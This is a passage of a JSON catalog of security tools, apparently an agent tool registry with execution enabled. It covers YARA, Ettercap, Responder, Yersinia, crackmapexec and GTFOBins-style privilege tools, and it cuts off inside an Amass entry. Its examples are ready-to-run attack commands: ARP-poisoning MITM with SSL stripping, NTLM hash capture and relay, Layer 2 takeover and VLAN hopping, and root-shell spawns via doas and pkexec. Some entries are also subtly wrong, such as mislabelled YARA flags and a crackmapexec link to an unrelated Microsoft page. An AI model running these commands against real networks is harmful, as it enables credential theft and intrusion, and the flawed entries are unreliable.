      "outputs": [
        {
          "type": "report.txt",
          "description": "Scan results with matched rules",
          "mime": "text/plain"
        },
        {
          "type": "report.json",
          "description": "Scan results in JSON format",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "none",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Pattern matching swiss knife for malware researchers to identify and classify malware samples based on textual or binary patterns.",
    "examples": [
      {
        "description": "Scan a file with a YARA rule",
        "command": "yara rule.yara suspicious.exe"
      },
      {
        "description": "Scan a directory recursively",
        "command": "yara -r malware_rules/ /samples/"
      },
      {
        "description": "Print matched strings",
        "command": "yara -s myrule.yar sample.bin"
      },
      {
        "description": "Scan with multiple rule files",
        "command": "yara -r rules/ -c sample.exe"
      },
      {
        "description": "Scan a running process by PID",
        "command": "yara rule.yara <PID>"
      }
    ],
    "execution": {
      "template": "yara {flags} {rule-file} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin"
    ],
    "id": "security-malware-yara",
    "install": [
      {
        "method": "apt",
        "package_name": "yara",
        "commands": [
          "apt-get install -y yara"
        ]
      },
      {
        "method": "brew",
        "package_name": "yara",
        "commands": [
          "brew install yara"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "yara",
    "namespace": "security:malware:yara",
    "parameters": [
      {
        "name": "rule-file",
        "type": "string",
        "required": true,
        "description": "YARA rule file or directory"
      },
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "File, directory, or PID to scan"
      },
      {
        "name": "flag-s",
        "type": "boolean",
        "required": false,
        "description": "Print strings that matched",
        "aliases": [
          "-s",
          "--print-strings"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-m",
        "type": "boolean",
        "required": false,
        "description": "Print meta data",
        "aliases": [
          "-m",
          "--print-meta"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-n",
        "type": "boolean",
        "required": false,
        "description": "Print only rule names",
        "aliases": [
          "-n",
          "--negate"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-g",
        "type": "integer",
        "required": false,
        "description": "Number of tags to print",
        "aliases": [
          "-g",
          "--tag"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-r",
        "type": "boolean",
        "required": false,
        "description": "Recursive directory scan",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-c",
        "type": "boolean",
        "required": false,
        "description": "Print count of matches",
        "aliases": [
          "-c",
          "--count"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-p",
        "type": "integer",
        "required": false,
        "description": "Number of parallel threads",
        "aliases": [
          "-p",
          "--threads"
        ],
        "flag": "-p"
      }
    ],
    "phase": "forensics",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "YARA Official Site",
        "url": "https://virustotal.github.io/yara/"
      },
      {
        "label": "YARA GitHub",
        "url": "https://github.com/VirusTotal/yara"
      },
      {
        "label": "YARA Documentation",
        "url": "https://yara.readthedocs.io/"
      }
    ],
    "related_tools": [
      "binwalk",
      "volatility",
      "radare2",
      "ghidra"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "none",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "analysis",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scan-results",
        "matched-rules"
      ],
      "consumes": [
        "target-file",
        "rule-file"
      ]
    }
  },
  {
    "_body": "\n\n# Ettercap — Comprehensive MITM Toolkit\n\nEttercap is a comprehensive suite for man-in-the-middle attacks on local area networks. It supports ARP poisoning, DNS spoofing, DHCP flooding, and passive sniffing with real-time traffic analysis, content filtering, and plugin-based extensibility.\n\n## MITM Attack Methods\n\n| Method | Flag | Description |\n|--------|------|-------------|\n| ARP poisoning | `-M arp:remote` | Classic ARP cache poisoning |\n| DHCP spoofing | `-M dhcp` | Fake DHCP server |\n| NDP poisoning | `-M ndp` | IPv6 neighbor discovery spoofing |\n| Port stealing | `-M port` | Port stealing on switches |\n\n## Plugins\n\nEttercap plugins extend functionality: `dns_spoof` (DNS response forgery), `chk_poison` (detect ARP poisoning), `find_conn` (find active connections), `gw_discover` (gateway discovery), `remote_browser` (inject HTML into HTTP streams).\n\n## Filters\n\nContent filtering allows real-time packet manipulation: replace text in HTTP streams, inject scripts, drop packets, or modify protocol headers using etterfilter-compiled filter scripts.\n",
    "_source": "ettercap.md",
    "allowed-tools": [
      "ettercap"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "CredentialAccess",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.mitm.arp",
      "security.mitm.dns",
      "security.poison.arp",
      "security.intercept.traffic",
      "security.spoof.dns",
      "security.sniff.password",
      "security.relay.ssl",
      "security.hijack.session"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.interface",
          "description": "Network interface for MITM operations"
        },
        {
          "type": "network.target.ip",
          "description": "Target IP address for ARP poisoning"
        },
        {
          "type": "network.target.range",
          "description": "Target IP range for network scan"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.password",
          "description": "Captured credentials from intercepted traffic"
        },
        {
          "type": "network.capture.pcap",
          "description": "Captured network traffic"
        },
        {
          "type": "security.hash",
          "description": "Captured authentication hashes"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access",
        "network_traffic"
      ]
    },
    "dependencies": [],
    "description": "Comprehensive MITM attack toolkit for ARP poisoning, DNS spoofing, and network traffic interception and analysis in switched LAN environments.",
    "examples": [
      {
        "description": "ARP poisoning MITM attack in text mode",
        "command": "ettercap -T -i eth0 -M arp:remote /10.0.0.1/ /10.0.0.2/"
      },
      {
        "description": "Passive network sniffing (no poisoning)",
        "command": "ettercap -T -i eth0 -s"
      },
      {
        "description": "DNS spoofing with filter script",
        "command": "ettercap -T -i eth0 -M arp -F dns.spoof"
      },
      {
        "description": "Capture traffic to pcap file",
        "command": "ettercap -T -i eth0 -M arp:remote -w capture.pcap"
      },
      {
        "description": "Launch GUI mode for interactive analysis",
        "command": "ettercap -G"
      },
      {
        "description": "Read and analyze existing pcap",
        "command": "ettercap -T -r capture.pcap"
      },
      {
        "description": "SSL stripping attack",
        "command": "ettercap -T -i eth0 -M arp:remote -S"
      }
    ],
    "execution": {
      "template": "ettercap -T -i {interface} -M arp:remote",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "eth0",
      "target": "remote"
    },
    "id": "security-mitm-ettercap",
    "install": [
      {
        "method": "apt",
        "package_name": "ettercap-graphical",
        "commands": [
          "apt-get install -y ettercap-graphical"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "name": "Ettercap",
    "namespace": "security:mitm:ettercap",
    "parameters": [
      {
        "name": "N",
        "type": "boolean",
        "required": false,
        "description": "Do not perform DNS spoofing.",
        "aliases": [
          "-N",
          "--no-dns"
        ],
        "flag": "-N"
      },
      {
        "name": "O",
        "type": "boolean",
        "required": false,
        "description": "file             Output captured passwords to file.",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "filter",
        "template_key": "filter",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Load a compiled etterfilter script",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "gui-mode",
        "template_key": "gui-mode",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use GTK graphical interface",
        "aliases": [
          "-G",
          "--gtk"
        ],
        "flag": "-G"
      },
      {
        "name": "interface",
        "template_key": "interface",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Network interface to use for MITM operations",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "j",
        "type": "boolean",
        "required": false,
        "description": "file             Log traffic in JSON format.",
        "aliases": [
          "-j"
        ],
        "flag": "-j"
      },
      {
        "name": "l",
        "type": "boolean",
        "required": false,
        "description": "logfile          Log all captured traffic.",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "mitm-method",
        "template_key": "mitm-method",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "MITM attack method (arp/dhcp/port/ndp)",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "plugin",
        "template_key": "plugin",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Run a specific ettercap plugin",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Suppress packet display",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "read",
        "template_key": "read",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Read packets from pcap dump file",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Silent startup (no initial ARP flood)",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      },
      {
        "name": "ssl",
        "template_key": "ssl",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable SSL stripping (HTTPS downgrade)",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "text-mode",
        "template_key": "text-mode",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use text-only interface (no GUI)",
        "aliases": [
          "-T",
          "--text"
        ],
        "flag": "-T"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "Unoffensive mode (no packet forwarding).",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "write",
        "template_key": "write",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write captured packets to pcap file",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "x",
        "type": "boolean",
        "required": false,
        "description": "Display hex dump of packets.",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Ettercap Project",
        "url": "https://www.ettercap-project.org/"
      },
      {
        "label": "Ettercap GitHub",
        "url": "https://github.com/Ettercap/ettercap"
      }
    ],
    "related_tools": [
      "bettercap",
      "responder",
      "yersinia",
      "wireshark"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "HTTPS",
      "FTP",
      "SSH",
      "SMB",
      "LDAP"
    ],
    "techniques": [
      "credential-access",
      "network-sniffing"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "mitm-session",
        "captured-traffic",
        "intercepted-credentials"
      ],
      "consumes": [
        "target-ip",
        "target-range",
        "network-interface"
      ]
    }
  },
  {
    "_body": "\n# Responder — LLMNR/NBT-NS/MDNS Poisoner\n\nResponder is an LLMNR, NBT-NS, and MDNS poisoner that responds to name resolution requests on a victim's network, causing victims to send authentication credentials to attacker-controlled services.\n\n## Attack Flow\n\n1. Victim mistypes a hostname or a service fails DNS resolution\n2. Victim broadcasts LLMNR/NBT-NS asking \"who has this name?\"\n3. Responder claims ownership and provides an attacker-controlled service (SMB, HTTP, etc.)\n4. Victim sends NTLMv1/v2 hash to authenticate\n5. Captured hash is cracked offline or relayed to a target server\n\n## Key Options\n\n| Option | Effect |\n|--------|--------|\n| `-I eth0` | Interface selection |\n| `-A` | Analyze mode (no poisoning, just logging) |\n| `-w` | Enable WPAD proxy |\n| `-f` | Fingerprint victims |\n| `-v` | Verbose output |\n",
    "_source": "responder.md",
    "allowed-tools": [
      "responder"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.poison.llmnr",
      "security.poison.nbtns",
      "security.poison.mdns",
      "security.capture.hash",
      "security.mitm.responder",
      "security.relay.ntlm"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.interface",
          "description": "Network interface to listen on"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.hash",
          "description": "Captured NTLMv1/v2 hashes"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access"
      ]
    },
    "dependencies": [
      "python3"
    ],
    "description": "LLMNR, NBT-NS, and MDNS poisoner that captures NTLMv1/v2 hashes for offline cracking or relay attacks in Windows network environments.",
    "examples": [
      {
        "description": "Launch Responder in default poisoning mode",
        "command": "Responder -I eth0"
      },
      {
        "description": "Analyze mode — passive listening without poisoning",
        "command": "Responder -I eth0 -A"
      },
      {
        "description": "Enable WPAD rogue proxy server",
        "command": "Responder -I eth0 -w"
      },
      {
        "description": "Disable HTTP and SMB servers (for relay attacks)",
        "command": "Responder -I eth0 -HTTP off -SMB off"
      },
      {
        "description": "Multirelay attack — relay captured hashes to target",
        "command": "python3 Multirelay.py -t 10.10.10.1 -u ALL"
      }
    ],
    "execution": {
      "template": "Responder -I {interface}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive"
    ],
    "global_vars": {
      "target": "ip"
    },
    "id": "security-mitm-responder",
    "install": [
      {
        "method": "apt",
        "package_name": "responder",
        "commands": [
          "apt-get install -y responder"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1557",
      "T1046"
    ],
    "name": "Responder",
    "namespace": "security:mitm:responder",
    "parameters": [
      {
        "name": "interface",
        "type": "string",
        "required": true,
        "description": "Network interface to listen on"
      },
      {
        "name": "analyze",
        "type": "boolean",
        "required": false,
        "description": "Analyze mode (passive, no poisoning)"
      },
      {
        "name": "wpad",
        "type": "boolean",
        "required": false,
        "description": "Enable WPAD rogue proxy"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Responder GitHub",
        "url": "https://github.com/lgandx/Responder"
      }
    ],
    "related_tools": [
      "impacket",
      "netexec"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "LLMNR",
      "NBT-NS",
      "MDNS"
    ],
    "techniques": [
      "credential-access",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# Yersinia — Layer 2 Protocol Exploitation Framework\n\nYersinia is a framework for exploiting weaknesses in layer 2 network protocols. It implements attacks against STP (Spanning Tree Protocol), CDP (Cisco Discovery Protocol), DTP (Dynamic Trunking Protocol), VTP (VLAN Trunking Protocol), HSRP (Hot Standby Router Protocol), 802.1Q, and 802.1X.\n\n## Protocol Attacks\n\n| Protocol | Attacks |\n|----------|---------|\n| **STP** | BPDU floods, topology changes, root bridge hijacking |\n| **CDP** | Device advertisement floods, fake device injection |\n| **DTP** | Trunk negotiation, VLAN hopping |\n| **VTP** | Domain takeover, configuration revision bumps |\n| **HSRP** | Router impersonation, DoS |\n| **802.1Q** | Double-tagging VLAN hopping |\n| **802.1X** | EAPOL flooding, authentication bypass |\n\n## Operational Modes\n\nYersinia offers three interfaces: interactive text mode (`-i`) for keyboard-driven attacks, GTK mode (`-G`) for mouse-driven point-and-click, and daemon mode (`-d`) for scripted headless operation.\n",
    "_source": "yersinia.md",
    "allowed-tools": [
      "yersinia"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "CredentialAccess",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.attack.stp",
      "security.attack.cdp",
      "security.attack.dtp",
      "security.attack.vtp",
      "security.attack.hsrp",
      "security.attack.dot1q",
      "security.attack.dot1x",
      "security.exploit.layer2",
      "security.spoof.protocol"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.interface",
          "description": "Network interface for sending layer 2 frames"
        }
      ],
      "outputs": [
        {
          "type": "network.attack.stp",
          "description": "STP topology change attack"
        },
        {
          "type": "network.spoof.cdp",
          "description": "CDP packet injection"
        },
        {
          "type": "network.attack.vlan",
          "description": "VLAN hopping via DTP"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access",
        "network_traffic"
      ]
    },
    "dependencies": [],
    "description": "Layer 2 network protocol exploitation framework for attacking STP, CDP, DTP, VTP, HSRP, and other switching and routing protocols.",
    "examples": [
      {
        "description": "Launch interactive mode on eth0",
        "command": "yersinia -I eth0 -i"
      },
      {
        "description": "Launch GTK GUI for point-and-click attacks",
        "command": "yersinia -I eth0 -G"
      },
      {
        "description": "Show available network interfaces",
        "command": "yersinia -s"
      },
      {
        "description": "STP root role attack (become root bridge)",
        "command": "yersinia stp -attack 2"
      },
      {
        "description": "CDP flooding attack",
        "command": "yersinia cdp -attack 1"
      },
      {
        "description": "DTP trunk negotiation — enable trunking",
        "command": "yersinia dtp -attack 1"
      },
      {
        "description": "VTP domain takeover",
        "command": "yersinia vtp -attack 1"
      },
      {
        "description": "Run in daemon mode with logging",
        "command": "yersinia -I eth0 -d -l /tmp/yersinia.log"
      }
    ],
    "execution": {
      "template": "yersinia -I {interface}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "eth0"
    },
    "id": "security-mitm-yersinia",
    "install": [
      {
        "method": "apt",
        "package_name": "yersinia",
        "commands": [
          "apt-get install -y yersinia"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "Yersinia",
    "namespace": "security:mitm:yersinia",
    "parameters": [
      {
        "name": "interface",
        "template_key": "interface",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Network interface for frame injection",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "gui",
        "template_key": "gui",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Launch GTK graphical interface",
        "aliases": [
          "-G"
        ],
        "flag": "-G"
      },
      {
        "name": "daemon",
        "template_key": "daemon",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Run in daemon (background) mode",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "interactive",
        "template_key": "interactive",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Interactive curses-based text mode",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "show-networks",
        "template_key": "show-networks",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "List available network interfaces",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "log",
        "template_key": "log",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Enable logging to specified file",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable verbose messages",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Display help and exit",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "stp-attack",
        "template_key": "stp-attack",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "STP attack type (confusion, root, bpdu flood)",
        "aliases": [
          "stp"
        ],
        "flag": "stp"
      },
      {
        "name": "cdp-spoof",
        "template_key": "cdp-spoof",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "CDP table flooding or fake advertisement",
        "aliases": [
          "cdp"
        ],
        "flag": "cdp"
      },
      {
        "name": "dtp-attack",
        "template_key": "dtp-attack",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "DTP trunk negotiation attack",
        "aliases": [
          "dtp"
        ],
        "flag": "dtp"
      },
      {
        "name": "vtp-attack",
        "template_key": "vtp-attack",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "VTP domain takeover or revision bump",
        "aliases": [
          "vtp"
        ],
        "flag": "vtp"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Yersinia GitHub",
        "url": "https://github.com/tomac/yersinia"
      },
      {
        "label": "Yersinia documentation",
        "url": "https://tools.kali.org/information-gathering/yersinia"
      }
    ],
    "related_tools": [
      "ettercap",
      "bettercap",
      "macof"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SSH",
      "DNS",
      "HTTP",
      "FTP",
      "Kerberos"
    ],
    "techniques": [
      "credential-access",
      "network-sniffing"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "topology-attack",
        "vlan-hop",
        "protocol-spoof"
      ],
      "consumes": [
        "network-interface",
        "target-switch"
      ]
    }
  },
  {
    "_body": "",
    "_source": "crackmapexec.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Swiss Army knife for network service exploitation (SMB, WinRM, MSSQL, SSH, LDAP).",
    "examples": [
      {
        "description": "Display help for crackmapexec",
        "command": "crackmapexec --help"
      }
    ],
    "execution": {
      "template": "crackmapexec --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-crackmapexec",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install crackmapexec"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "crackmapexec",
    "namespace": "security:network:exploit",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "crackmapexec Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/crackmapexec"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "doas.md",
    "allowed-tools": [
      "doas",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute commands as another user (OpenBSD-style privilege escalation), can spawn a root shell.",
    "examples": [
      {
        "description": "Spawn a root shell via doas",
        "command": "doas -u root /bin/sh"
      }
    ],
    "execution": {
      "template": "doas -u root /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-privilege-doas",
    "install": [
      {
        "method": "apt",
        "package_name": "doas",
        "commands": [
          "apt-get install -y doas"
        ]
      }
    ],
    "name": "doas",
    "namespace": "security:privilege:doas",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/doas/"
      }
    ],
    "related_tools": [
      "sudo"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ksu.md",
    "allowed-tools": [
      "ksu",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Kerberized superuser, can execute commands as another user.",
    "examples": [
      {
        "description": "Spawn a shell via ksu",
        "command": "ksu -e /bin/sh"
      }
    ],
    "execution": {
      "template": "ksu -e /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-privilege-ksu",
    "install": [
      {
        "method": "apt",
        "package_name": "heimdal-clients",
        "commands": [
          "apt-get install -y heimdal-clients"
        ]
      }
    ],
    "name": "ksu",
    "namespace": "security:privilege:ksu",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ksu/"
      }
    ],
    "related_tools": [
      "sudo",
      "su",
      "doas"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pkexec.md",
    "allowed-tools": [
      "pkexec",
      "sudo",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute command as another user via polkit, can spawn root shell.",
    "examples": [
      {
        "description": "Spawn a root shell via pkexec",
        "command": "pkexec /bin/sh"
      }
    ],
    "execution": {
      "template": "pkexec /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-privilege-pkexec",
    "install": [
      {
        "method": "apt",
        "package_name": "policykit-1",
        "commands": [
          "apt-get install -y policykit-1"
        ]
      }
    ],
    "name": "pkexec",
    "namespace": "security:privilege:pkexec",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pkexec/"
      }
    ],
    "related_tools": [
      "sudo",
      "doas",
      "ksu"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# Amass — Attack Surface Mapping & Asset Discovery\n\nAmass is the OWASP project's premier tool for in-depth DNS enumeration, subdomain discovery, and external attack surface mapping. It uses a wide range of techniques including DNS zone transfers, certificate transparency logs, search engine scraping, and brute forcing.\n\n## Enumeration Modes\n\n| Mode | Command | Description |\n|------|---------|-------------|\n| Subdomain enumeration | `amass enum -d example.com` | Passive and active subdomain discovery |\n| Visualize | `amass viz -d example.com` | Generate HTML graph of relationships |\n| Track | `amass track -d example.com` | Identify new assets over time |\n| Database | `amass db -d example.com` | Interact with the local Amass database |\n\n## Data Sources\n\nAmass queries dozens of sources including:\n- Certificate Transparency logs (crt.sh, CertSpotter, Google)\n- Search engines (Bing, Google, Yahoo, Shodan)\n- DNS datasets (DNSDumpster, Riddler, PTR archives)\n- Threat intelligence (AlienVault OTX, VirusTotal)\n- ASN/Whois data (RADIUS, TeamCymru, BGPTools)\n\n## Output\n\n```bash\n# List subdomains\namass enum -d example.com\n\n# With IP addresses and sources\namass enum -d example.com -ip -src\n\n# Full JSON output for pipeline processing\namass enum -d example.com -json results.json\n```\n",
    "_source": "amass.md",
    "allowed-tools": [
      "amass",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.subdomain.list",
        "description": "List of discovered subdomains",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "security.recon.graph",
        "description": "Graph visualization of domain relationships",
        "mime": "text/html",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.discovery.dns",
      "network.discovery.subdomain",
      "security.fingerprint.certificate",
      "security.recon.attack-surface",
      "network.discovery.host"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.subdomain.list",
          "description": "Discovered subdomains",
          "mime": "text/plain"
        },
        {
          "type": "security.recon.graph",
          "description": "Visual relationship graph",
          "mime": "text/html"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
